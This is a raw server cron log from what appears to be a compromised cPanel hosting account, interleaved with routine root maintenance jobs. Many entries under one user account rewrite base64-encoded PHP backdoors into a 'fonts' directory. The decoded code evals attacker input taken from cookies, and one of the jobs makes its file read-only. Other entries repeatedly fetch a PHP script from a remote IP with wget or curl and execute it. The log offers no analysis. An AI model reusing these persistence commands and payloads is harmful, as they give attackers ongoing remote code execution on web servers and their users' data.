Sep  6 22:09:01 ip-184-168-122-23 CROND[3701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:09:01 ip-184-168-122-23 CROND[3700]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 22:10:01 ip-184-168-122-23 CROND[3795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:10:01 ip-184-168-122-23 CROND[3796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:10:01 ip-184-168-122-23 CROND[3799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:10:01 ip-184-168-122-23 CROND[3801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:10:01 ip-184-168-122-23 CROND[3803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:10:01 ip-184-168-122-23 CROND[3804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:10:01 ip-184-168-122-23 CROND[3802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:10:01 ip-184-168-122-23 CROND[3806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:11:01 ip-184-168-122-23 CROND[3955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:11:01 ip-184-168-122-23 CROND[3957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:11:01 ip-184-168-122-23 CROND[3962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:11:01 ip-184-168-122-23 CROND[3961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:12:01 ip-184-168-122-23 CROND[4072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:12:01 ip-184-168-122-23 CROND[4074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:12:01 ip-184-168-122-23 CROND[4077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:12:01 ip-184-168-122-23 CROND[4075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:12:01 ip-184-168-122-23 CROND[4076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:13:01 ip-184-168-122-23 CROND[4165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:13:01 ip-184-168-122-23 CROND[4167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:13:01 ip-184-168-122-23 CROND[4166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:13:01 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:14:02 ip-184-168-122-23 CROND[4251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:14:02 ip-184-168-122-23 CROND[4253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:14:02 ip-184-168-122-23 CROND[4257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:14:02 ip-184-168-122-23 CROND[4258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:14:02 ip-184-168-122-23 CROND[4259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:15:01 ip-184-168-122-23 CROND[4358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:15:01 ip-184-168-122-23 CROND[4360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:15:01 ip-184-168-122-23 CROND[4362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:15:01 ip-184-168-122-23 CROND[4364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:15:01 ip-184-168-122-23 CROND[4365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:15:01 ip-184-168-122-23 CROND[4366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:15:01 ip-184-168-122-23 CROND[4367]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 22:16:01 ip-184-168-122-23 CROND[4457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:16:01 ip-184-168-122-23 CROND[4459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:16:01 ip-184-168-122-23 CROND[4460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:16:01 ip-184-168-122-23 CROND[4462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:16:01 ip-184-168-122-23 CROND[4463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:16:01 ip-184-168-122-23 CROND[4461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:17:01 ip-184-168-122-23 CROND[4627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:17:01 ip-184-168-122-23 CROND[4630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:17:01 ip-184-168-122-23 CROND[4629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:17:01 ip-184-168-122-23 CROND[4628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:18:01 ip-184-168-122-23 CROND[4705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:18:01 ip-184-168-122-23 CROND[4707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:18:01 ip-184-168-122-23 CROND[4708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:18:01 ip-184-168-122-23 CROND[4709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:18:01 ip-184-168-122-23 CROND[4712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:19:01 ip-184-168-122-23 CROND[4801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:19:01 ip-184-168-122-23 CROND[4802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:19:01 ip-184-168-122-23 CROND[4803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:19:01 ip-184-168-122-23 CROND[4805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:20:01 ip-184-168-122-23 CROND[4933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:20:02 ip-184-168-122-23 CROND[4940]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:20:02 ip-184-168-122-23 CROND[4936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:20:02 ip-184-168-122-23 CROND[4937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:20:02 ip-184-168-122-23 CROND[4935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:20:02 ip-184-168-122-23 CROND[4938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:20:02 ip-184-168-122-23 CROND[4939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:20:02 ip-184-168-122-23 CROND[4941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:20:02 ip-184-168-122-23 CROND[4943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:21:01 ip-184-168-122-23 CROND[5054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:21:01 ip-184-168-122-23 CROND[5056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:21:01 ip-184-168-122-23 CROND[5057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
